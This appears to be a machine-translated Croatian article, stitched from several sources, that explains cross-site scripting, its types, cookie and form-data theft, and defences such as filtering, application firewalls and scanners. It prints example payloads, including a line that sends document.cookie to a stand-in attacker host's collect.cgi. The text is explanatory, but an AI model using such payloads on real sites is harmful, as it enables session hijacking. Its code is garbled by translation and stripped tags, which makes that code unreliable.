Zaštita od xss napada. Maksimalno iskorištavanje XSS ranjivosti. Primjer i komentari

Koristeći XSS, iskusni napadači integriraju skripte koje se na njima izvode u stranice žrtvenih web-mjesta, a izvršavaju se prilikom posjeta zaraženim resursima. Postoji nekoliko vrsta XSS ranjivosti koje predstavljaju različite stupnjeve ozbiljnosti.

Značajke pasivne i aktivne ranjivosti

Trebali biste biti vrlo oprezni kada se bavite aktivnim ranjivostima. Kada napadač ubaci svoj SQL kod u dostupnu bazu podataka ili datoteku na poslužitelju, svaki posjetitelj zaraženog resursa može postati žrtva. Takva su mjesta često integrirana, pa čak i podaci pohranjeni u bazi podataka koju obrađuje vaša zaštita još uvijek mogu predstavljati određenu opasnost.

Stvaranje pasivne XSS ranjivosti zahtijeva malo kreativnosti od strane napadača. Ili vas namame na lažni resurs sa svim vrstama poveznica, ili vas pokušavaju preusmjeriti na željenu stranicu na bilo koji način. To se obično događa putem pisama fiktivne administracije stranice koju posjećujete, u kojima se traži da provjerite postavke svog računa. Također se aktivno koriste razne neželjene pošte ili postovi na posjećenim forumima.

Pasivne XSS ranjivosti mogu proizaći iz POST i GET parametara. Za prve je karakteristično nekoliko različitih trikova, dok je za druge karakteristično kodiranje URL niza ili umetanje dodatnih vrijednosti.

Krađa kolačića

Najčešće su vaši kolačići ti koji postaju meta XSS napada. Ponekad sadrže vrijedne informacije, uključujući korisničke prijave i lozinke ili njihov hash. Ali krađa aktivnih sesija stranica koje su vam važne također je prilično opasna, stoga ne zaboravite kliknuti gumb "izlaz" čak i kada posjetite stranice s kućnog računala. Iako većina resursa koristi automatska ograničenja trajanja sesije za sprječavanje takvih radnji. Ograničenja domene XMLHttpRequest ne štite od takvih napada.

Podaci iz popunjenih obrazaca

Čitanje informacija u obrascima koji se mogu ispuniti također je popularno. Da bi se to postiglo, na stranicama od interesa provodi se praćenje događaja (onsubmit), a svi navedeni podaci također se šalju na poslužitelje napadača. Takvi napadi umnogome su slični phishing napadima, ali krađa se ne događa na lažnom, već na stvarnom mjestu s dobrom reputacijom.

Distribuirani DDoS napadi

Višestruko posjećeni resursi također se koriste za XSS napade. Zahvaljujući XSS ranjivosti, zahtjevi koji im dolaze preusmjeravaju se na hakirani poslužitelj, zbog čega njegova zaštita pada.

Krivotvorenje zahtjeva između web-mjesta (CSRF/XSRF)

Također imaju malo toga zajedničkog s XSS-om. Ovo je zasebna vrsta ranjivosti koja se koristi u kombinaciji s XSS-om. Njihov je cilj namamiti ovlaštenog korisnika s neranjive stranice na lažnu ranjivu stranicu kako bi izvršio lažne transakcije. Na primjer, klijent koji koristi elektronički sustav plaćanja namamljen je na ranjivu stranicu koja prenosi novac na račune napadača. Stoga većina sustava plaćanja pruža zaštitu dodatnim unosom lozinke ili šifre kojom se potvrđuje operacija.

Injekcija XSS crva

Takav XSS napad na web stranicu pojavio se s razvojem poznatih društvenih mreža (VKontakte, Twitter i druge). Preko njih cijele skupine korisnika primaju ranjive XSS poveznice s integriranim skriptama koje u njihovo ime šalju neželjenu poštu po mrežama. Također se široko prakticira istovremeno kopiranje osobnih podataka i fotografija u resurse napadača.

Primjeri bezopasnog XSS-a

Imajte na umu da mnoge vrste brojača također djeluju kao aktivni XSS. Prenose podatke o registriranim posjetiteljima (njihove IP adrese, podatke o korištenoj opremi).

Samo se ovaj kod integrira u vaše računalo prema vašoj vlastitoj volji. Drugi slični XSS mogu lako uključiti niz AJAX zahtjeva između domena.

Što je XSS ranjivost? Trebamo li je se bojati?

Cross-site scripting (skraćeno XSS) raširena je ranjivost koja utječe na mnoge web aplikacije. Omogućuje napadaču ubacivanje zlonamjernog koda na web mjesto na takav način da će preglednik korisnika koji posjećuje web mjesto izvršiti kod.

Tipično, iskorištavanje takve ranjivosti zahtijeva određenu interakciju s korisnikom: ili se namami na zaraženo mjesto pomoću društvenog inženjeringa ili jednostavno čeka da korisnik posjeti to mjesto. Stoga programeri često ne shvaćaju ozbiljno XSS ranjivosti. Ali ako se ne riješe, mogu predstavljati ozbiljan sigurnosni rizik.

Zamislimo da se nalazimo u WordPress administratorskoj ploči i dodajemo novi sadržaj. Ako za to koristimo dodatak koji je ranjiv na XSS, on može natjerati preglednik da stvori novog administratora, izmijeni sadržaj i izvede druge zlonamjerne radnje.

Cross-site skriptiranje daje napadaču gotovo potpunu kontrolu nad najvažnijim dijelom softvera ovih dana - preglednikom.

XSS: Ranjivost ubrizgavanja

Svaka web stranica ili aplikacija ima nekoliko mjesta za unos podataka - polja obrasca do samog URL-a. Najjednostavniji primjer unosa podataka je kada u formu unesemo korisničko ime i lozinku:

Slika 1. Obrazac za unos podataka

Naše će ime biti pohranjeno u bazi podataka stranice za naknadne interakcije s nama. Sigurno ste, kada ste se prijavili na bilo koju web stranicu, vidjeli osobni pozdrav u stilu "Dobro došao, Ilya." U tu se svrhu korisnička imena pohranjuju u bazu podataka.

Injekcija je postupak kada se umjesto imena ili lozinke unosi poseban niz znakova, koji tjera poslužitelj ili preglednik da odgovori na određeni način koji napadač želi.

Cross-site scripting je injekcija koja ubacuje kod koji će izvršiti radnje u pregledniku u ime web stranice. To se može dogoditi ili uz obavijest korisniku ili u pozadini, bez njegovog znanja.

Slika 2. Vizualni dijagram skriptiranja između stranica

Najjednostavniji primjer je jednostavna skripta koja prikazuje prozor obavijesti. Izgleda otprilike ovako:

Tablica 1. Skripta koja uzrokuje skočni prozor

upozorenje("OVO JE XSS RANJIVOST!!!")

Ova skripta otvara prozor s porukom "OVO JE XSS RANJIVOST!!!" Korisnikov preglednik percipira i izvršava ovu skriptu kao dio legitimnog koda stranice.

Vrste XSS ranjivosti

Nisu sve XSS ranjivosti jednake; postoji mnogo vrsta. Ovo su vrste i njihova interakcija:

Slika 3. Vrste XSS ranjivosti

Ranjivosti uzrokovane kodom na strani poslužitelja (Java, PHP, .NET, itd.):

Tradicionalni XSS napadi:

Reflektirano (netrajno). Odraženi XSS napad pokreće se kada korisnik klikne na posebno izrađenu poveznicu. Ove ranjivosti nastaju kada se podaci koje pruža web klijent, najčešće u parametrima HTTP zahtjeva ili u HTML obliku, izravno izvršavaju skriptama na strani poslužitelja za analizu i prikaz stranice s rezultatima za tog klijenta, bez odgovarajuće obrade.

Pohranjeno (postojano). Pohranjeni XSS moguć je kada napadač uspije ubaciti zlonamjerni kod u poslužitelj koji se izvršava u pregledniku svaki put kada se pristupi izvornoj stranici. Klasičan primjer ove ranjivosti su forumi koji dopuštaju HTML komentare.

Ranjivosti uzrokovane kodom na strani klijenta (JavaScript, Visual Basic, Flash itd.):

Također poznati kao DOM modeli:

Reflektirano (netrajno). Isto kao iu slučaju poslužiteljske strane, samo je u ovom slučaju napad moguć zbog činjenice da kod obrađuje preglednik.

Pohranjeno (postojano). Slično XSS-u pohranjenom na strani poslužitelja, samo što se u ovom slučaju zlonamjerna komponenta pohranjuje na strani klijenta pomoću pohrane preglednika.

Ranjivosti uzrokovane infrastrukturom (preglednik, dodaci, poslužitelji itd.):

Vrlo su rijetke, ali su opasnije:

Infrastruktura na strani klijenta. Javlja se kada zlonamjerna komponenta izvodi bilo kakve manipulacije s funkcionalnošću preglednika, na primjer s njegovim XSS filtrom itd.

Infrastruktura na strani poslužitelja. Javlja se kada web poslužitelj ne obrađuje ispravno zahtjeve, dopuštajući njihovu izmjenu.

Neto. Javlja se kada je moguće narušiti komunikaciju između klijenta i poslužitelja.

Ranjivosti koje uzrokuje korisnik:

Self-XSS. Često se javlja kao rezultat društvenog inženjeringa kada korisnik slučajno pokrene zlonamjerni kod u svom pregledniku.

Koje su opasnosti XSS-a?

Kako možete zaštititi svoju stranicu od XSS-a? Kako provjeriti ima li u kodu ranjivosti? Postoje tehnologije poput Sucuri Firewall koje su posebno dizajnirane za izbjegavanje takvih napada. Ali ako ste programer, svakako ćete htjeti naučiti više o tome kako identificirati i ublažiti XSS ranjivosti. O tome ćemo govoriti u sljedećem dijelu članka o XSS-u.

Ory Segal

Naučite kako hakeri koriste napade skriptiranjem na više stranica, što čine (a ne) štete, kako ih uočiti i kako zaštititi svoje web mjesto i njegove posjetitelje od tih zlonamjernih povreda privatnosti i sigurnosti.

Cross-site scripting (ili skraćeno XSS) jedan je od najčešćih napada na razini aplikacije koje hakeri koriste za kompromitiranje web aplikacija. XSS je napad na privatnost korisnika određene web stranice. Može dovesti do potpunog uništenja sigurnosnog sustava kada se klijentski podaci ukradu i koriste u budućnosti u neku svrhu. Većina napada uključuje dvije strane: ili napadača i web stranicu ili napadača i klijenta žrtvu. Međutim, XSS napad uključuje tri strane: napadača, klijenta i web mjesto.

Cilj XSS napada je ukrasti kolačiće ili druge osjetljive podatke s klijentovog računala koji mogu identificirati klijenta na web stranici. Imajući informacije koje ga identificiraju kao legitimnog korisnika, napadač može djelovati na stranici kao takav korisnik, tj. pretvarati se da si on. Na primjer, u jednoj reviziji provedenoj u velikoj tvrtki bilo je moguće doći do osobnih podataka korisnika i broja kreditne kartice pomoću XSS napada. To je postignuto pokretanjem prilagođenog JavaScript koda. Ovaj kod je izvršen u pregledniku žrtve (klijenta), koji je imao pristupne privilegije web stranici. Postoji vrlo ograničen broj JavaScript privilegija koje skripti ne daju pristup ničemu osim informacijama specifičnim za web mjesto. Važno je naglasiti da iako ranjivost postoji na web stranici, sama web stranica nije izravno oštećena. Ali to je dovoljno da skripta prikupi kolačiće i pošalje ih napadaču. Kao rezultat toga, napadač dobiva potrebne podatke i može oponašati žrtvu.

Imenujmo napadnutu stranicu na sljedeći način: www.vulnerable.site. Tradicionalni XSS napad oslanja se na ranjivu skriptu koja se nalazi na ranjivoj web stranici. Ova skripta čita dio HTTP zahtjeva (obično parametre, ali ponekad i HTTP zaglavlja ili putanju) i ponavlja ga za stranicu odgovora, bilo cijeli ili samo dio. Ovo ne čisti zahtjev (tj. ne provjerava da zahtjev ne sadrži JavaScript kod ili HTML oznake). Recimo da se ova skripta zove welcome.cgi i da je njen parametar ime. Može se koristiti ovako:

Kako se to može zloupotrijebiti? Napadač mora moći namamiti kupca (žrtvu) da klikne na poveznicu koju mu napadač daje. Ovo je pažljivo i zlonamjerno izrađena poveznica koja uzrokuje da žrtvin web preglednik pristupi web stranici (www.vulnerable.site) i izvrši ranjivu skriptu. Podaci za ovu skriptu sadrže JavaScript kod koji pristupa kolačićima koje pohranjuje klijentov preglednik za stranicu www.vulnerable.site. Ovo je dopušteno jer klijentov preglednik "misli" da JavaScript kod dolazi s www.vulnerable.site. A JavaScript sigurnosni model dopušta skriptama koje potječu s određene stranice da pristupe kolačićima koji pripadaju toj stranici.

Odgovor ranjive stranice bit će sljedeći:

Dobrodošli! Bok upozorenje(document.cookie) Dobrodošli u naš sustav...

Preglednik klijenta žrtve tumači ovaj zahtjev kao HTML stranicu koja sadrži dio JavaScript koda. Ovaj kod, kada se izvrši, imat će pristup svim kolačićima koji pripadaju stranici www.vulnerable.site. Posljedično, to će uzrokovati skočni prozor u pregledniku koji prikazuje sve klijentove kolačiće koji su povezani s www.vulnerable.site.

Naravno, pravi napad bi uključivao slanje ovih datoteka napadaču. Da bi to učinio, napadač može stvoriti web stranicu (www.attacker.site) i koristiti skriptu za primanje kolačića. Umjesto pozivanja skočnog prozora, napadač bi napisao kod koji pristupa URL-u www.attacker.site. U tom smislu, izvršava se skripta za dobivanje kolačića. Parametar za ovu skriptu su ukradeni kolačići. Stoga napadač može dobiti kolačiće s poslužitelja www.attacker.site.

Odmah nakon učitavanja ove stranice, preglednik će izvršiti tamo umetnuti JavaScript kod i proslijediti zahtjev skripti collect.cgi na www.attacker.site zajedno s vrijednošću kolačića s www.vulnerable.site koje preglednik već ima. To narušava sigurnost kolačića www.vulnerable.site koje klijent ima. To omogućuje napadaču da se pretvara da je žrtva. Povjerljivost klijenta je potpuno narušena.

Bilješka.
Obično je pozivanje skočnog prozora pomoću JavaScripta dovoljno da se pokaže ranjivost stranice na XSS napad. Ako možete pozvati funkciju upozorenja iz JavaScripta, obično nema razloga zašto poziv ne bi uspio. Zbog toga većina primjera XSS napada koristi funkciju Alert, koja omogućuje vrlo jednostavno određivanje uspješnosti napada.

Napad se može dogoditi samo u pregledniku žrtve, istom onom koji se koristi za pristup stranici (www.vulnerable.site). Napadač mora prisiliti klijenta da pristupi zlonamjernoj vezi. To se može postići na nekoliko načina.

• Napadač šalje e-poruku koja sadrži HTML stranicu koja vara preglednik da otvori vezu. Ovo zahtijeva da žrtva koristi klijent e-pošte koji može rukovati HTML-om. A HTML preglednik na klijentu mora biti isti preglednik koji se koristi za pristup www.vulnerable.site.

• Klijent posjećuje web mjesto, koje je vjerojatno stvorio napadač, gdje veza na sliku ili drugi HTML element na koji se može kliknuti uzrokuje da preglednik otvori vezu. Opet, u ovom slučaju, imperativ je da se isti preglednik koristi za pristup ovoj stranici i stranici www.vulnerable.site.

Zlonamjerni JavaScript kod može pristupiti bilo kojoj od sljedećih informacija:

• trajni kolačići (stranice www.vulnerable.site), koje pohranjuje preglednik;
• kolačiće u memoriji (stranice www.vulnerable.site), koje instanca preglednika podržava samo prilikom pregleda stranice www.vulnerable.site;
• imena drugih prozora otvorenih za stranicu www.vulnerable.site.
• sve informacije koje su dostupne putem trenutnog DOM-a (iz vrijednosti, HTML koda itd.).

Podaci o identifikaciji, autorizaciji i autentifikaciji obično se pohranjuju u obliku kolačića. Ako su ti kolačići trajni, žrtva je ranjiva na napad čak i kada ne koristi preglednik kada pristupa www.vulnerable.site. Međutim, ako su kolačići privremeni (na primjer, pohranjeni su u RAM-u), tada na strani klijenta mora postojati sesija sa web mjestom www.vulnerable.site.

Druga moguća implementacija identifikacijske oznake je URL parametar. U takvim slučajevima možete pristupiti drugim prozorima koristeći JavaScript na sljedeći način (pod pretpostavkom da je naziv stranice sa željenim URL parametrima foobar):

var žrtva_window=open(","foobar");alert("Može pristupiti: " +victim_window.location.search)

Za pokretanje JavaScript skripte možete koristiti mnoge HTML oznake osim . Zapravo, također je moguće zlonamjerni JavaScript kod postaviti na drugi poslužitelj i zatim prevariti klijenta da preuzme skriptu i izvrši je. Ovo može biti korisno ako trebate pokrenuti veliku količinu koda ili ako kôd sadrži posebne znakove.

Evo nekoliko varijacija ovih mogućnosti.

• Umjesto... hakeri mogu koristiti . Ovo je prikladno za stranice koje filtriraju HTML oznaku.

• Umjesto ... možete koristiti konstrukciju . Ovo je dobro u situacijama kada je JavaScript kod predugačak ili ako sadrži nedopuštene znakove.

Ponekad su podaci ugrađeni u stranicu odgovora u plaćenom HTML kontekstu. U tom slučaju prvo treba "pobjeći" u slobodni kontekst, a zatim izvesti XSS napad. Na primjer, ako su podaci umetnuti kao zadana vrijednost za polje HTML obrasca:

A rezultirajući HTML kod bit će sljedeći:

prozor.otvoriti ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)"> Do sada smo vidjeli da se XSS napad može dogoditi u parametru GET zahtjeva na koji skripta odgovara. Ali napad se također može izvršiti pomoću POST zahtjeva ili pomoću komponente staze HTTP zahtjeva, pa čak i pomoću nekih HTTP zaglavlja (na primjer, Referer). Konkretno, komponenta puta je korisna kada stranica s pogreškom vrati nevažeći put. U tom slučaju uključivanje zlonamjerne skripte u stazu često će uzrokovati njezino izvršenje. Mnogi web poslužitelji ranjivi su na ovaj napad. Važno je razumjeti da, iako web-mjesto nije izravno pogođeno ovim napadom (nastavlja normalno funkcionirati, na njemu se ne izvršava zlonamjerni kod, ne događa se DoS napad, a podaci s web-mjesta nisu izravno čitani ili mijenjani) , to je još uvijek kršenje sigurnosnog sustava koji stranica nudi svojim klijentima ili posjetiteljima. Ovo je slično mjestu koje se koristi za implementaciju aplikacije sa slabim sigurnosnim oznakama. Zbog toga napadač može pogoditi klijentovu sigurnosnu oznaku i pretvarati se da je on (ili ona). Slaba točka aplikacije je skripta koja vraća svoj parametar bez obzira na njegovu vrijednost. Dobra skripta trebala bi osigurati da je parametar u ispravnom formatu, da sadrži prihvatljive znakove itd. Obično nema razloga da ispravan parametar sadrži HTML oznake ili JavaScript kôd. Moraju se ukloniti iz parametra prije nego što se može ubaciti u odgovor ili koristiti u aplikaciji. To će osigurati sigurnost. Postoje tri načina za zaštitu vaše web stranice od XSS napada. Izvođenjem vlastitog filtriranja ulaznih podataka (ponekad zvano dezinfekcija ulaza). Za svaki korisnički unos (bilo da se radi o parametru ili HTML zaglavlju), svaka samostalno napisana skripta treba koristiti napredno filtriranje prema HTML oznakama, uključujući JavaScript kôd. Na primjer, skripta welcome.cgi iz prethodnog primjera trebala bi filtrirati oznaku nakon dekodiranja parametra naziva. Ova metoda ima nekoliko ozbiljnih nedostataka. Od aplikacijskog programera zahtijeva dobro poznavanje sigurnosnih tehnologija. Od programera se zahtijeva da pokrije sve moguće izvore ulaznih podataka (parametri zahtjeva, parametri tijela POST zahtjeva, HTTP zaglavlja). Ne može zaštititi od ranjivosti u skriptama ili poslužiteljima treće strane. Na primjer, neće zaštititi od problema na stranicama s pogreškama na web poslužiteljima (koje prikazuju izvorni put). Izvođenje "filtriranja izlaza", tj. filtriranje korisničkih podataka kada se šalju natrag u preglednik, a ne kada ih skripta primi. Dobar primjer ovog pristupa bila bi skripta koja umeće podatke u bazu podataka i zatim ih prikazuje. U ovom slučaju, važno je primijeniti filtar ne na izvorni ulazni niz, već samo na izlaznu verziju. Nedostaci ove metode slični su nedostacima ulaznog filtriranja. Instaliranje vatrozida aplikacije treće strane (firewall). Ovaj zaslon presreće XSS napade prije nego što dođu do web poslužitelja i ranjivih skripti te ih blokira. Aplikacijski vatrozidi mogu pokriti sve metode unosa tretirajući ih na zajednički način (uključujući stazu i HTTP zaglavlja), bez obzira na skriptu ili stazu iz izvorne aplikacije, skriptu treće strane ili skriptu koja ne opisuje nikakve resurse na sve (na primjer, jedan dizajniran za pokretanje stranice odgovora 404 s poslužitelja). Za svaki izvor unosa, vatrozid aplikacije ispituje podatke za različite uzorke HTML oznaka i JavaScript koda. Ako postoje podudaranja, zahtjev se blokira i zlonamjerni podaci ne dolaze do poslužitelja. Logičan zaključak zaštite web stranice je provjera njezine sigurnosti od XSS napada. Poput zaštite stranice od XSS-a, provjera razine zaštite može se obaviti ručno (na teži način) ili korištenjem automatiziranog alata za procjenu ranjivosti web aplikacija. Ovaj će alat skinuti teret provjere s vaših ramena. Ovaj program se kreće po stranici i pokreće sve opcije koje zna za sve skripte koje otkrije. Ovo pokušava sve parametre, zaglavlja i staze. Kod obje metode svaki unos u aplikaciju (parametri svih skripti, HTTP zaglavlja, putanje) provjerava se sa što više opcija. A ako stranica s odgovorom sadrži JavaScript kod u kontekstu u kojem ga preglednik može izvršiti, pojavljuje se poruka o XSS ranjivosti. Na primjer, kada šaljete sljedeći tekst: upozorenje(dokument.kolačić) Za svaki parametar svake skripte (putem preglednika s mogućnostima JavaScripta za otkrivanje najjednostavnijeg oblika XSS ranjivosti), preglednik će pokrenuti prozor s upozorenjem za JavaScript ako se tekst tumači kao JavaScript kod. Naravno, postoji nekoliko opcija. Stoga testiranje samo ove opcije nije dovoljno. I, kao što ste već naučili, možete umetnuti JavaScript kôd u različita polja zahtjeva: parametre, HTTP zaglavlja i putanju. Međutim, u nekim slučajevima (osobito sa zaglavljem HTTP Referer), nezgodno je izvesti napad pomoću preglednika. Cross-site scripting jedan je od najčešćih napada na razini aplikacije koje hakeri koriste za kompromitiranje web aplikacija. To je ujedno i najopasnije. Ovo je napad na privatnost korisnika određene web stranice. Može dovesti do potpunog uništenja sigurnosnog sustava kada se klijentski podaci ukradu i koriste u budućnosti u neku svrhu. Nažalost, kao što ovaj članak objašnjava, to se često radi bez znanja o klijentu ili organizaciji koja je napadnuta. Kako bi se spriječilo da web-mjesta budu ranjiva na ove zlonamjerne aktivnosti, važno je da organizacija implementira i online i offline sigurnosnu strategiju. To uključuje automatizirani alat za provjeru ranjivosti koji može testirati sve poznate ranjivosti web-mjesta i specifičnih aplikacija (kao što je skriptiranje između web-mjesta) na web-mjestu. Za potpunu mrežnu zaštitu također je bitno instalirati vatrozid koji može otkriti i blokirati bilo koju vrstu manipulacije kodom i podacima koji se nalaze na ili iza web poslužitelja.